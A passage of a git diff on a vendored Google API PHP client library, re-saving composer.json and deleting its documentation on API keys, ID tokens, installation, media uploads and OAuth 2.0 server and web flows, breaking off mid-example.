`GuzzleHttp\ClientInterface` object and uses the following decision tree for - authentication: - 1. Uses Application Default Credentials when - `Google_Client::useApplicationDefaultCredentials` is called - - Looks for `GOOGLE_APPLICATION_CREDENTIALS` environment variable if set - - Looks in `~/.config/gcloud/application_default_credentials.json` - - Otherwise, uses `GCECredentials` - 1. Uses API Key if set (see `Client::setDeveloperKey`) - 1. Uses Access Token if set (call `Client::setAccessToken`) - 1. Automatically refreshes access tokens if one is set and the access token is expired - - Removed `Google_Config` - - Removed `Google_Utils` - - [`PSR-6`][PSR 6] cache is used for all caching. As a result: - 1. Removed `Google_Cache_Abstract` - 1. Classes `Google_Cache_Apc`, `Google_Cache_File`, `Google_Cache_Memcache`, and - `Google_Cache_Null` now implement `Google\Auth\CacheInterface`. - 1. Google Auth provides simple [caching utilities][Google Auth Cache] which - are used by default unless you provide alternatives. - - Removed `$boundary` constructor argument for `Google_Http_MediaFileUpload` - -[PSR 3]: https://www.php-fig.org/psr/psr-3/ -[PSR 6]: https://www.php-fig.org/psr/psr-6/ -[Guzzle 5]: https://github.com/guzzle/guzzle -[Guzzle 6]: http://docs.guzzlephp.org/en/latest/psr7.html -[Monolog]: https://github.com/Seldaek/monolog -[Google Auth]: https://github.com/google/google-auth-library-php -[Google Auth Cache]: https://github.com/googleapis/google-auth-library-php/tree/master/src/Cache -[Google Auth GCE]: https://github.com/google/google-auth-library-php/blob/master/src/GCECredentials.php -[Google Auth OAuth2]: https://github.com/google/google-auth-library-php/blob/master/src/OAuth2.php -[Google Auth Simple]: https://github.com/google/google-auth-library-php/blob/master/src/Simple.php -[Google Auth AppIdentity]: https://github.com/google/google-auth-library-php/blob/master/src/AppIdentityCredentials.php -[Firebase JWT]: https://github.com/firebase/php-jwt diff --git a/vendor/google/apiclient/composer.json b/vendor/google/apiclient/composer.json index fa083b2ebf..046090389b 100644 --- a/vendor/google/apiclient/composer.json +++ b/vendor/google/apiclient/composer.json @@ -1,49 +1,49 @@ -{ - "name": "google/apiclient", - "type": "library", - "description": "Client library for Google APIs", - "keywords": ["google"], - "homepage": "http://developers.google.com/api-client-library/php", - "license": "Apache-2.0", - "require": { - "php": "^5.6|^7.0|^8.0", - "google/auth": "^1.10", - "google/apiclient-services": "~0.200", - "firebase/php-jwt": "~2.0||~3.0||~4.0||~5.0", - "monolog/monolog": "^1.17||^2.0", - "phpseclib/phpseclib": "~2.0||^3.0.2", - "guzzlehttp/guzzle": "~5.3.3||~6.0||~7.0", - "guzzlehttp/psr7": "^1.7||^2.0.0" - }, - "require-dev": { - "squizlabs/php_codesniffer": "~2.3", - "symfony/dom-crawler": "~2.1", - "symfony/css-selector": "~2.1", - "cache/filesystem-adapter": "^0.3.2|^1.1", - "phpcompatibility/php-compatibility": "^9.2", - "dealerdirect/phpcodesniffer-composer-installer": "^0.7", - "composer/composer": "^1.10.22", - "yoast/phpunit-polyfills": "^1.0", - "phpspec/prophecy-phpunit": "^1.1||^2.0", - "phpunit/phpunit": "^5.7.21 || ^6.0 || ^7.0 || ^8.0 || ^9.0" - }, - "suggest": { - "cache/filesystem-adapter": "For caching certs and tokens (using Google\\Client::setCache)" - }, - "autoload": { - "psr-4": { - "Google\\": "src/" - }, - "files": [ - "src/aliases.php" - ], - "classmap": [ - "src/aliases.php" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "2.x-dev" - } - } -} +{ + "name": "google/apiclient", + "type": "library", + "description": "Client library for Google APIs", + "keywords": ["google"], + "homepage": "http://developers.google.com/api-client-library/php", + "license": "Apache-2.0", + "require": { + "php": "^5.6|^7.0|^8.0", + "google/auth": "^1.10", + "google/apiclient-services": "~0.200", + "firebase/php-jwt": "~2.0||~3.0||~4.0||~5.0", + "monolog/monolog": "^1.17||^2.0", + "phpseclib/phpseclib": "~2.0||^3.0.2", + "guzzlehttp/guzzle": "~5.3.3||~6.0||~7.0", + "guzzlehttp/psr7": "^1.7||^2.0.0" + }, + "require-dev": { + "squizlabs/php_codesniffer": "~2.3", + "symfony/dom-crawler": "~2.1", + "symfony/css-selector": "~2.1", + "cache/filesystem-adapter": "^0.3.2|^1.1", + "phpcompatibility/php-compatibility": "^9.2", + "dealerdirect/phpcodesniffer-composer-installer": "^0.7", + "composer/composer": "^1.10.22", + "yoast/phpunit-polyfills": "^1.0", + "phpspec/prophecy-phpunit": "^1.1||^2.0", + "phpunit/phpunit": "^5.7.21 || ^6.0 || ^7.0 || ^8.0 || ^9.0" + }, + "suggest": { + "cache/filesystem-adapter": "For caching certs and tokens (using Google\\Client::setCache)" + }, + "autoload": { + "psr-4": { + "Google\\": "src/" + }, + "files": [ + "src/aliases.php" + ], + "classmap": [ + "src/aliases.php" + ] + }, + "extra": { + "branch-alias": { + "dev-master": "2.x-dev" + } + } +} diff --git a/vendor/google/apiclient/docs/README.md b/vendor/google/apiclient/docs/README.md deleted file mode 100644 index 87d3674557..0000000000 --- a/vendor/google/apiclient/docs/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# Google API Client Library for PHP Docs - -The Google API Client Library for PHP offers simple, flexible access to many Google APIs. - -## Documentation - -- [Getting Started](start.md) -- [API Keys](api-keys.md) -- [Auth](auth.md) -- [Installation](install.md) -- [Media](media.md) -- [OAuth Server](oauth-server.md) -- [OAuth Web](oauth-web.md) -- [Pagination](pagination.md) -- [Parameters](parameters.md) diff --git a/vendor/google/apiclient/docs/api-keys.md b/vendor/google/apiclient/docs/api-keys.md deleted file mode 100644 index adabfa0d5a..0000000000 --- a/vendor/google/apiclient/docs/api-keys.md +++ /dev/null @@ -1,13 +0,0 @@ -# API Keys - -When calling APIs that do not access private user data, you can use simple API keys. These keys are used to authenticate your application for accounting purposes. The Google Developers Console documentation also describes [API keys](https://developers.google.com/console/help/using-keys). - -> Note: If you do need to access private user data, you must use OAuth 2.0. See [Using OAuth 2.0 for Web Server Applications](/docs/oauth-web.md) and [Using OAuth 2.0 for Server to Server Applications](/docs/oauth-server.md) for more information. - -## Using API Keys - -To use API keys, call the `setDeveloperKey()` method of the `Google\Client` object before making any API calls. For example: - -```php -$client->setDeveloperKey($api_key); -``` diff --git a/vendor/google/apiclient/docs/auth.md b/vendor/google/apiclient/docs/auth.md deleted file mode 100644 index bdc1d57b84..0000000000 --- a/vendor/google/apiclient/docs/auth.md +++ /dev/null @@ -1,11 +0,0 @@ -# Authorization - -The Google PHP Client Library supports several methods for making authenticated calls to the Google APIs. - -- [API Keys](api-keys.md) -- [OAuth 2.0 For Webservers](oauth-web.md) -- [OAuth 2.0 Service Accounts](oauth-server.md) - -In addition, it supports a method of identifying users without granting access to make Google API calls. - -- [ID Token Verification](id-token.md) \ No newline at end of file diff --git a/vendor/google/apiclient/docs/id-token.md b/vendor/google/apiclient/docs/id-token.md deleted file mode 100644 index e26b3cb1a3..0000000000 --- a/vendor/google/apiclient/docs/id-token.md +++ /dev/null @@ -1,22 +0,0 @@ -# ID Token Authentication - -ID tokens allow authenticating a user securely without requiring a network call (in many cases), and without granting the server access to request user information from the Google APIs. - -> For a complete example, see the [idtoken.php](https://github.com/googleapis/google-api-php-client/blob/master/examples/idtoken.php) sample in the examples/ directory of the client library. - -This is accomplished because each ID token is a cryptographically signed, base64 encoded JSON structure. The token payload includes the Google user ID, the client ID of the application the user signed in to, and the issuer (in this case, Google). It also contains a cryptographic signature which can be verified with the public Google certificates to ensure that the token was created by Google. If the user has granted permission to view their email address to the application, the ID token will additionally include their email address. - -The token can be easily and securely verified with the PHP client library - -```php -function getUserFromToken($token) { - $ticket = $client->verifyIdToken($token); - if ($ticket) { - $data = $ticket->getAttributes(); - return $data['payload']['sub']; // user ID - } - return false -} -``` - -The library will automatically download and cache the certificate required for verification, and refresh it if it has expired. diff --git a/vendor/google/apiclient/docs/install.md b/vendor/google/apiclient/docs/install.md deleted file mode 100644 index ff0e69a0d4..0000000000 --- a/vendor/google/apiclient/docs/install.md +++ /dev/null @@ -1,39 +0,0 @@ -# Installation - -This page contains information about installing the Google APIs Client Library for PHP. - -## Requirements - -* PHP version 5.6 or greater. - -## Obtaining the client library - -There are two options for obtaining the files for the client library. - -### Using Composer - -You can install the library by adding it as a dependency to your composer.json. - -```json -"require": { - "google/apiclient": "^2.0" -} -``` - -### Downloading from GitHub - -Follow [the instructions in the README](https://github.com/google/google-api-php-client#download-the-release) to download the package locally. - -### What to do with the files - -After obtaining the files, include the autoloader. If you used Composer, your require statement will look like this: - -```php -require_once '/path/to/your-project/vendor/autoload.php'; -``` - -If you downloaded the package separately, your require statement will look like this: - -```php -require_once '/path/to/google-api-php-client/vendor/autoload.php'; -``` diff --git a/vendor/google/apiclient/docs/media.md b/vendor/google/apiclient/docs/media.md deleted file mode 100644 index 570b1e0444..0000000000 --- a/vendor/google/apiclient/docs/media.md +++ /dev/null @@ -1,75 +0,0 @@ -# Media Upload - -The PHP client library allows for uploading large files for use with APIs such as Drive or YouTube. There are three different methods available. - -## Simple Upload - -In the simple upload case, the data is passed as the body of the request made to the server. This limits the ability to specify metadata, but is very easy to use. - -```php -$file = new Google\Service\Drive\DriveFile(); -$result = $service->files->insert($file, array( - 'data' => file_get_contents("path/to/file"), - 'mimeType' => 'application/octet-stream', - 'uploadType' => 'media' -)); -``` - -## Multipart File Upload - -With multipart file uploads, the uploaded file is sent as one part of a multipart form post. This allows metadata about the file object to be sent as part of the post as well. This is triggered by specifying the _multipart_ uploadType. - -```php -$file = new Google\Service\Drive\DriveFile(); -$file->setTitle("Hello World!"); -$result = $service->files->insert($file, array( - 'data' => file_get_contents("path/to/file"), - 'mimeType' => 'application/octet-stream', - 'uploadType' => 'multipart' -)); -``` - -## Resumable File Upload - -It is also possible to split the upload across multiple requests. This is convenient for larger files, and allows resumption of the upload if there is a problem. Resumable uploads can be sent with separate metadata. - -```php -$file = new Google\Service\Drive\DriveFile(); -$file->title = "Big File"; -$chunkSizeBytes = 1 * 1024 * 1024; - -// Call the API with the media upload, defer so it doesn't immediately return. -$client->setDefer(true); -$request = $service->files->insert($file); - -// Create a media file upload to represent our upload process. -$media = new Google\Http\MediaFileUpload( - $client, - $request, - 'text/plain', - null, - true, - $chunkSizeBytes -); -$media->setFileSize(filesize("path/to/file")); - -// Upload the various chunks. $status will be false until the process is -// complete. -$status = false; -$handle = fopen("path/to/file", "rb"); -while (!$status && !feof($handle)) { - $chunk = fread($handle, $chunkSizeBytes); - $status = $media->nextChunk($chunk); - } - -// The final value of $status will be the data from the API for the object -// that has been uploaded. -$result = false; -if($status != false) { - $result = $status; -} - -fclose($handle); -// Reset to the client to execute requests immediately in the future. -$client->setDefer(false); -``` \ No newline at end of file diff --git a/vendor/google/apiclient/docs/oauth-server.md b/vendor/google/apiclient/docs/oauth-server.md deleted file mode 100644 index eb0707a187..0000000000 --- a/vendor/google/apiclient/docs/oauth-server.md +++ /dev/null @@ -1,140 +0,0 @@ -# Using OAuth 2.0 for Server to Server Applications - -The Google APIs Client Library for PHP supports using OAuth 2.0 for server-to-server interactions such as those between a web application and a Google service. For this scenario you need a service account, which is an account that belongs to your application instead of to an individual end user. Your application calls Google APIs on behalf of the service account, so users aren't directly involved. This scenario is sometimes called "two-legged OAuth," or "2LO." (The related term "three-legged OAuth" refers to scenarios in which your application calls Google APIs on behalf of end users, and in which user consent is sometimes required.) - -Typically, an application uses a service account when the application uses Google APIs to work with its own data rather than a user's data. For example, an application that uses [Google Cloud Datastore](https://cloud.google.com/datastore/) for data persistence would use a service account to authenticate its calls to the Google Cloud Datastore API. - -If you have a G Suite domain—if you use [G Suite Business](https://gsuite.google.com), for example—an administrator of the G Suite domain can authorize an application to access user data on behalf of users in the G Suite domain. For example, an application that uses the [Google Calendar API](https://developers.google.com/google-apps/calendar/) to add events to the calendars of all users in a G Suite domain would use a service account to access the Google Calendar API on behalf of users. Authorizing a service account to access data on behalf of users in a domain is sometimes referred to as "delegating domain-wide authority" to a service account. - -> **Note:** When you use [G Suite Marketplace](https://www.google.com/enterprise/marketplace/) to install an application for your domain, the required permissions are automatically granted to the application. You do not need to manually authorize the service accounts that the application uses. - -> **Note:** Although you can use service accounts in applications that run from a G Suite domain, service accounts are not members of your G Suite account and aren't subject to domain policies set by G Suite administrators. For example, a policy set in the G Suite admin console to restrict the ability of Apps end users to share documents outside of the domain would not apply to service accounts. - -This document describes how an application can complete the server-to-server OAuth 2.0 flow by using the Google APIs Client Library for PHP. - -## Overview - -To support server-to-server interactions, first create a service account for your project in the Developers Console. If you want to access user data for users in your G Suite domain, then delegate domain-wide access to the service account. - -Then, your application prepares to make authorized API calls by using the service account's credentials to request an access token from the OAuth 2.0 auth server. - -Finally, your application can use the access token to call Google APIs. - -## Creating a service account - -A service account's credentials include a generated email address that is unique, a client ID, and at least one public/private key pair. - -If your application runs on Google App Engine, a service account is set up automatically when you create your project. - -If your application doesn't run on Google App Engine or Google Compute Engine, you must obtain these credentials in the Google Developers Console. To generate service-account credentials, or to view the public credentials that you've already generated, do the following: - -1. Open the [**Service accounts** section](https://console.developers.google.com/permissions/serviceaccounts?project=_) of the Developers Console's **Permissions** page. -2. Click **Create service account**. -3. In the **Create service account** window, type a name for the service account and select **Furnish a new private key**. If you want to [grant G Suite domain-wide authority](https://developers.google.com/identity/protocols/OAuth2ServiceAccount#delegatingauthority) to the service account, also select **Enable G Suite Domain-wide Delegation**. Then, click **Create**. - -Your new public/private key pair is generated and downloaded to your machine; it serves as the only copy of this key. You are responsible for storing it securely. - -You can return to the [Developers Console](https://console.developers.google.com/) at any time to view the client ID, email address, and public key fingerprints, or to generate additional public/private key pairs. For more details about service account credentials in the Developers Console, see [Service accounts](https://developers.google.com/console/help/service-accounts) in the Developers Console help file. - -Take note of the service account's email address and store the service account's private key file in a location accessible to your application. Your application needs them to make authorized API calls. - -**Note:** You must store and manage private keys securely in both development and production environments. Google does not keep a copy of your private keys, only your public keys. - -### Delegating domain-wide authority to the service account - -If your application runs in a G Suite domain and accesses user data, the service account that you created needs to be granted access to the user data that you want to access. - -The following steps must be performed by an administrator of the G Suite domain: - -1. Go to your G Suite domain’s [Admin console](http://admin.google.com). -2. Select **Security** from the list of controls. If you don't see **Security** listed, select **More controls** from the gray bar at the bottom of the page, then select **Security** from the list of controls. If you can't see the controls, make sure you're signed in as an administrator for the domain. -3. Select **Advanced settings** from the list of options. -4. Select **Manage third party OAuth Client access** in the **Authentication** section. -5. In the **Client name** field enter the service account's **Client ID**. -6. In the **One or More API Scopes** field enter the list of scopes that your application should be granted access to. For example, if your application needs domain-wide access to the Google Drive API and the Google Calendar API, enter: https://www.googleapis.com/auth/drive, https://www.googleapis.com/auth/calendar. -7. Click **Authorize**. - -Your application now has the authority to make API calls as users in your domain (to "impersonate" users). When you prepare to make authorized API calls, you specify the user to impersonate. - -[](#top_of_page)Preparing to make an authorized API call --------------------------------------------------------- - -After you have obtained the client email address and private key from the Developers Console, set the path to these credentials in the `GOOGLE_APPLICATION_CREDENTIALS` environment variable ( **Note:** This is not required in the App Engine environment): - -```php -putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/service-account.json'); -``` - -Call the `useApplicationDefaultCredentials` to use your service account credentials to authenticate: - -```php -$client = new Google\Client(); -$client->useApplicationDefaultCredentials(); -``` - -If you have delegated domain-wide access to the service account and you want to impersonate a user account, specify the email address of the user account using the method `setSubject`: - -```php -$client->setSubject($user_to_impersonate); -``` - -Use the authorized `Google\Client` object to call Google APIs in your application. - -## Calling Google APIs - -Use the authorized `Google\Client` object to call Google APIs by completing the following steps: - -1. Build a service object for the API that you want to call, providing the authorized `Google\Client` object. For example, to call the Cloud SQL Administration API: - - ```php - $sqladmin = new Google\Service\SQLAdmin($client); - ``` - -2. Make requests to the API service using the [interface provided by the service object](https://github.com/googleapis/google-api-php-client/blob/master/docs/start.md#build-the-service-object). For example, to list the instances of Cloud SQL databases in the examinable-example-123 project: - - ```php - $response = $sqladmin->instances->listInstances('examinable-example-123')->getItems(); - ``` - -## Complete example - -The following example prints a JSON-formatted list of Cloud SQL instances in a project. - -To run this example: - -1. Create a new directory and change to it. For example: - - ```sh - mkdir ~/php-oauth2-example - cd ~/php-oauth2-example - ``` - -2. Install the [Google API Client Library](https://github.com/google/google-api-php-client) for PHP using [Composer](https://getcomposer.org): - - ```sh - composer require google/apiclient:^2.0 - ``` - -3. Create the file sqlinstances.php with the content below. -4. Run the example from the command line: - - ``` - php ~/php-oauth2-example/sqlinstances.php - ``` - -### sqlinstances.php - -```php -useApplicationDefaultCredentials(); - -$sqladmin = new Google\Service\SQLAdmin($client); -$response = $sqladmin->instances - ->listInstances('examinable-example-123')->getItems(); -echo json_encode($response) . "\n"; -``` diff --git a/vendor/google/apiclient/docs/oauth-web.md b/vendor/google/apiclient/docs/oauth-web.md deleted file mode 100644 index 904745ed5d..0000000000 --- a/vendor/google/apiclient/docs/oauth-web.md +++ /dev/null @@ -1,424 +0,0 @@ -# Using OAuth 2.0 for Web Server Applications - -This document explains how web server applications use the Google API Client Library for PHP to implement OAuth 2.0 authorization to access Google APIs. OAuth 2.0 allows users to share specific data with an application while keeping their usernames, passwords, and other information private. For example, an application can use OAuth 2.0 to obtain permission from users to store files in their Google Drives. - -This OAuth 2.0 flow is specifically for user authorization. It is designed for applications that can store confidential information and maintain state. A properly authorized web server application can access an API while the user interacts with the application or after the user has left the application. - -Web server applications frequently also use [service accounts](oauth-server.md) to authorize API requests, particularly when calling Cloud APIs to access project-based data rather than user-specific data. Web server applications can use service accounts in conjunction with user authorization. - -## Prerequisites - -### Enable APIs for your project - -Any application that calls Google APIs needs to enable those APIs in the API Console. To enable the appropriate APIs for your project: - -1. Open the [Library](https://console.developers.google.com/apis/library) page in the API Console. -2. Select the project associated with your application. Create a project if you do not have one already. -3. Use the **Library** page to find each API that your application will use. Click on each API and enable it for your project. - -### Create authorization credentials - -Any application that uses OAuth 2.0 to access Google APIs must have authorization credentials that identify the application to Google's OAuth 2.0 server. The following steps explain how to create credentials for your project. Your applications can then use the credentials to access APIs that you have enabled for that project. - -1. Open the [Credentials page](https://console.developers.google.com/apis/credentials) in the API Console. -2. Click **Create credentials > OAuth client ID**. -3. Complete the form. Set the application type to `Web application`. Applications that use languages and frameworks like PHP, Java, Python, Ruby, and .NET must specify authorized **redirect URIs**. The redirect URIs are the endpoints to which the OAuth 2.0 server can send responses. - - For testing, you can specify URIs that refer to the local machine, such as `http://localhost:8080`. With that in mind, please note that all of the examples in this document use `http://localhost:8080` as the redirect URI. - - We recommend that you design your app's auth endpoints so that your application does not expose authorization codes to other resources on the page. - -After creating your credentials, download the **client_secret.json** file from the API Console. Securely store the file in a location that only your application can access. - -> **Important:** Do not store the **client_secret.json** file in a publicly-accessible location. In addition, if you share the source code to your application—for example, on GitHub—store the **client_secret.json** file outside of your source tree to avoid inadvertently sharing your client credentials. - -### Identify access scopes - -Scopes enable your application to only request access to the resources that it needs while also enabling users to control the amount of access that they grant to your application. Thus, there may be an inverse relationship between the number of scopes requested and the likelihood of obtaining user consent. - -Before you start implementing OAuth 2.0 authorization, we recommend that you identify the scopes that your app will need permission to access. - -We also recommend that your application request access to authorization scopes via an [incremental authorization](#incremental-authorization) process, in which your application requests access to user data in context. This best practice helps users to more easily understand why your application needs the access it is requesting. - -The [OAuth 2.0 API Scopes](https://developers.google.com/identity/protocols/googlescopes) document contains a full list of scopes that you might use to access Google APIs. - -> If your public application uses scopes that permit access to certain user data, it must pass review. If you see **unverified app** on the screen when testing your application, you must submit a verification request to remove it. Find out more about [unverified apps](https://support.google.com/cloud/answer/7454865) and get answers to [frequently asked questions about app verification](https://support.google.com/cloud/answer/9110914) in the Help Center. - -### Language-specific requirements - -To run any of the code samples in this document, you'll need a Google account, access to the Internet, and a web browser. If you are using one of the API client libraries, also see the language-specific requirements below. - -To run the PHP code samples in this document, you'll need: - -* PHP 5.6 or greater with the command-line interface (CLI) and JSON extension installed. -* The [Composer](https://getcomposer.org/) dependency management tool. -* The Google APIs Client Library for PHP: - ```sh - php composer.phar require google/apiclient:^2.0 - ``` - -## Obtaining OAuth 2.0 access tokens - -The following steps show how your application interacts with Google's OAuth 2.0 server to obtain a user's consent to perform an API request on the user's behalf. Your application must have that consent before it can execute a Google API request that requires user authorization. - -The list below quickly summarizes these steps: - -1. Your application identifies the permissions it needs. -2. Your application redirects the user to Google along with the list of requested permissions. -3. The user decides whether to grant the permissions to your application. -4. Your application finds out what the user decided. -5. If the user granted the requested permissions, your application retrieves tokens needed to make API requests on the user's behalf. - -### Step 1: Set authorization parameters - -Your first step is to create the authorization request. That request sets parameters that identify your application and define the permissions that the user will be asked to grant to your application. - -The code snippet below creates a `Google\Client()` object, which defines the parameters in the authorization request. - -That object uses information from your **client_secret.json** file to identify your application. The object also identifies the scopes that your application is requesting permission to access and the URL to your application's auth endpoint, which will handle the response from Google's OAuth 2.0 server. Finally, the code sets the optional access_type and include_granted_scopes parameters. - -For example, this code requests read-only, offline access to a user's Google Drive: - -```php -$client = new Google\Client(); -$client->setAuthConfig('client_secret.json'); -$client->addScope(Google\Service\Drive::DRIVE_METADATA_READONLY); -$client->setRedirectUri('http://' . $_SERVER['HTTP_HOST'] . '/oauth2callback.php'); -$client->setAccessType('offline'); // offline access -$client->setIncludeGrantedScopes(true); // incremental auth -``` - -The request specifies the following information: - -#### Parameters - -##### `client_id` - -**Required**. The client ID for your application. You can find this value in the [API Console](https://console.developers.google.com/). In PHP, call the `setAuthConfig` function to load authorization credentials from a **client_secret.json** file. - -```php -$client = new Google\Client(); -$client->setAuthConfig('client_secret.json'); -``` - -##### `redirect_uri` - -**Required**. Determines where the API server redirects the user after the user completes the authorization flow. The value must exactly match one of the authorized redirect URIs for the OAuth 2.0 client, which you configured in the [API Console](https://console.developers.google.com/). If this value doesn't match an authorized URI, you will get a 'redirect_uri_mismatch' error. Note that the `http` or `https` scheme, case, and trailing slash ('`/`') must all match. - -To set this value in PHP, call the `setRedirectUri` function. Note that you must specify a valid redirect URI for your API Console project. - -```php -$client->setRedirectUri('http://localhost:8080/oauth2callback.php'); -``` - -##### `scope` - -**Required**. A space-delimited list of scopes that identify the resources that your application could access on the user's behalf. These values inform the consent screen that Google displays to the user. - -Scopes enable your application to only request access to the resources that it needs while also enabling users to control the amount of access that they grant to your application. Thus, there is an inverse relationship between the number of scopes requested and the likelihood of obtaining user consent. To set this value in PHP, call the `addScope` function: - -```php -$client->addScope(Google\Service\Drive::DRIVE_METADATA_READONLY); -``` - -The [OAuth 2.0 API Scopes](https://developers.google.com/identity/protocols/googlescopes) document provides a full list of scopes that you might use to access Google APIs. - -We recommend that your application request access to authorization scopes in context whenever possible. By requesting access to user data in context, via [incremental authorization](#Incremental-authorization), you help users to more easily understand why your application needs the access it is requesting. - -##### `access_type` - -**Recommended**. Indicates whether your application can refresh access tokens when the user is not present at the browser. Valid parameter values are `online`, which is the default value, and `offline`. - -Set the value to `offline` if your application needs to refresh access tokens when the user is not present at the browser. This is the method of refreshing access tokens described later in this document. This value instructs the Google authorization server to return a refresh token _and_ an access token the first time that your application exchanges an authorization code for tokens. - -To set this value in PHP, call the `setAccessType` function: - -```php -$client->setAccessType('offline'); -``` - -##### `state` - -**Recommended**. Specifies any string value that your application uses to maintain state between your authorization request and the authorization server's response. The server returns the exact value that you send as a `name=value` pair in the hash (`#`) fragment of the `redirect_uri` after the user consents to or denies your application's access request. - -You can use this parameter for several purposes, such as directing the user to the correct resource in your application, sending nonces, and mitigating cross-site request forgery. Since your `redirect_uri` can be guessed, using a `state` value can increase your assurance that an incoming connection is the result of an authentication request. If you generate a random string or encode the hash of a cookie or another value that captures the client's state, you can validate the response to additionally ensure that the request and response originated in the same browser, providing protection against attacks such as cross-site request forgery. See the [OpenID Connect](https://developers.google.com/identity/protocols/OpenIDConnect#createxsrftoken) documentation for an example of how to create and confirm a `state` token. - -To set this value in PHP, call the `setState` function: - -```php -$client->setState($sample_passthrough_value); -``` - -##### `include_granted_scopes` - -**Optional**. Enables applications to use incremental authorization to request access to additional scopes in context. If you set this parameter's value to `true` and the authorization request is granted, then the new access token will also cover any scopes to which the user previously granted the application access. See the [incremental authorization](#Incremental-authorization) section for examples. - -To set this value in PHP, call the `setIncludeGrantedScopes` function: - -```php -$client->setIncludeGrantedScopes(true); -``` - -##### `login_hint` - -**Optional**. If your application knows which user is trying to authenticate, it can use this parameter to provide a hint to the Google Authentication Server. The server uses the hint to simplify the login flow either by prefilling the email field in the sign-in form or by selecting the appropriate multi-login session. - -Set the parameter value to an email address or `sub` identifier, which is equivalent to the user's Google ID. - -To set this value in PHP, call the `setLoginHint` function: - -```php -$client->setLoginHint('timmerman@google.com'); -``` - -##### `prompt` - -**Optional**. A space-delimited, case-sensitive list of prompts to present the user. If you don't specify this parameter, the user will be prompted only the first time your app requests access. - -To set this value in PHP, call the `setPrompt` function: - -```php -$client->setPrompt('consent'); -``` - -Possible values are: - -`none` - -Do not display any authentication or consent screens. Must not be specified with other values. - -`consent` - -Prompt the user for consent. - -`select_account` - -Prompt the user to select an account. - -### Step 2: Redirect to Google's OAuth 2.0 server - -Redirect the user to Google's OAuth 2.0 server to initiate the authentication and authorization process. Typically, this occurs when your application first needs to access the user's data. In the case of [incremental authorization](#incremental-authorization), this step also occurs when your application first needs to access additional resources that it does not yet have permission to access. - -1. Generate a URL to request access from Google's OAuth 2.0 server: - - ```php - $auth_url = $client->createAuthUrl(); - ``` - -2. Redirect the user to `$auth_url`: - - ```php - header('Location: ' . filter_var($auth_url, FILTER_SANITIZE_URL)); - ``` - -Google's OAuth 2.0 server authenticates the user and obtains consent from the user for your application to access the requested scopes. The response is sent back to your application using the redirect URL you specified. - -### Step 3: Google prompts user for consent - -In this step, the user decides whether to grant your application the requested access. At this stage, Google displays a consent window that shows the name of your application and the Google API services that it is requesting permission to access with the user's authorization credentials. The user can then consent or refuse to grant access to your application. - -Your application doesn't need to do anything at this stage as it waits for the response from Google's OAuth 2.0 server indicating whether the access was granted. That response is explained in the following step. - -### Step 4: Handle the OAuth 2.0 server response - -The OAuth 2.0 server responds to your application's access request by using the URL specified in the request. - -If the user approves the access request, then the response contains an authorization code. If the user does not approve the request, the response contains an error message. The authorization code or error message that is returned to the web server appears on the query string, as shown below: - -An error response: - - https://oauth2.example.com/auth?error=access_denied - -An authorization code response: - - https://oauth2.example.com/auth?code=4/P7q7W91a-oMsCeLvIaQm6bTrgtp7 - -> **Important**: If your response endpoint renders an HTML page, any resources on that page will be able to see the authorization code in the URL. Scripts can read the URL directly, and the URL in the `Referer` HTTP header may be sent to any or all resources on the page. -> -> Carefully consider whether you want to send authorization credentials to all resources on that page (especially third-party scripts such as social plugins and analytics). To avoid this issue, we recommend that the server first handle the request, then redirect to another URL that doesn't include the response parameters. - -#### Sample OAuth 2.0 server response - -You can test this flow by clicking on the following sample URL, which requests read-only access to view metadata for files in your Google Drive: - -``` -https://accounts.google.com/o/oauth2/v2/auth? - scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive.metadata.readonly& - access_type=offline& - include_granted_scopes=true& - state=state_parameter_passthrough_value& - redirect_uri=http%3A%2F%2Foauth2.example.com%2Fcallback& - response_type=code& - client_id=client_id -``` - -After completing the OAuth 2.0 flow, you should be redirected to `http://localhost/oauth2callback`, which will likely yield a `404 NOT FOUND` error unless your local machine serves a file at that address. The next step provides more detail about the information returned in the URI when the user is redirected back to your application. - -### Step 5: Exchange authorization code for refresh and access tokens - -After the web server receives the authorization code, it can exchange the authorization code for an access token. - -To exchange an authorization code for an access token, use the `authenticate` method: - -```php -$client->authenticate($_GET['code']); -``` - -You can retrieve the access token with the `getAccessToken` method: - -```php -$access_token = $client->getAccessToken(); -``` - -[](#top_of_page)Calling Google APIs ------------------------------------ - -Use the access token to call Google APIs by completing the following steps: - -1. If you need to apply an access token to a new `Google\Client` object—for example, if you stored the access token in a user session—use the `setAccessToken` method: - - ```php - $client->setAccessToken($access_token); - ``` - -2. Build a service object for the API that you want to call. You build a a service object by providing an authorized `Google\Client` object to the constructor for the API you want to call. For example, to call the Drive API: - - ```php - $drive = new Google\Service\Drive($client); - ``` - -3. Make requests to the API service using the [interface provided by the service object](start.md). For example, to list the files in the authenticated user's Google Drive: - - ```php - $files = $drive->files->listFiles(array())->getItems(); - ``` - -[](#top_of_page)Complete example --------------------------------- - -The following example prints a JSON-formatted list of files in a user's Google Drive after the user authenticates and gives consent for the application to access the user's Drive files. - -To run this example: - -1. In the API Console, add the URL of the local machine to the list of redirect URLs. For example, add `http://localhost:8080`. -2. Create a new directory and change to it. For example: - - ```sh - mkdir ~/php-oauth2-example - cd ~/php-oauth2-example - ``` - -3. Install the [Google API Client Library](https://github.com/google/google-api-php-client) for PHP using [Composer](https://getcomposer.org): - - ```sh - composer require google/apiclient:^2.0 - ``` - -4. Create the files `index.php` and `oauth2callback.php` with the content below. -5. Run the example with a web server configured to serve PHP. If you use PHP 5.6 or newer, you can use PHP's built-in test web server: - - ```sh - php -S localhost:8080 ~/php-oauth2-example - ``` - -#### index.php - -```php -setAuthConfig('client_secrets.json'); -$client->addScope(Google\Service\Drive::DRIVE_METADATA_READONLY); - -if (isset($_SESSION['access_token']) && $_SESSION['access_token']) { - $client->setAccessToken($_SESSION['access_token']); - $drive = new Google\Service\Drive($client); - $files = $drive->files->listFiles(array())->getItems(); - echo json_encode($files); -} else { - $redirect_uri = 'http://' . $_SERVER['HTTP_HOST'] . '/oauth2callback.php'; - header('Location: ' . filter_var($redirect_uri, FILTER_SANITIZE_URL)); -} -``` - -#### oauth2callback.php - -```php -setAuthConfigFile('client_secrets.json'); -$client->setRedirectUri('http://' . $_SERVER['HTTP_HOST'] . '/oauth2callback.php'); -$client->addScope(Google\Service\Drive::DRIVE_METADATA_READONLY); - -if (! isset($_GET['code'])) { - $auth_url = $client->createAuthUrl(); - 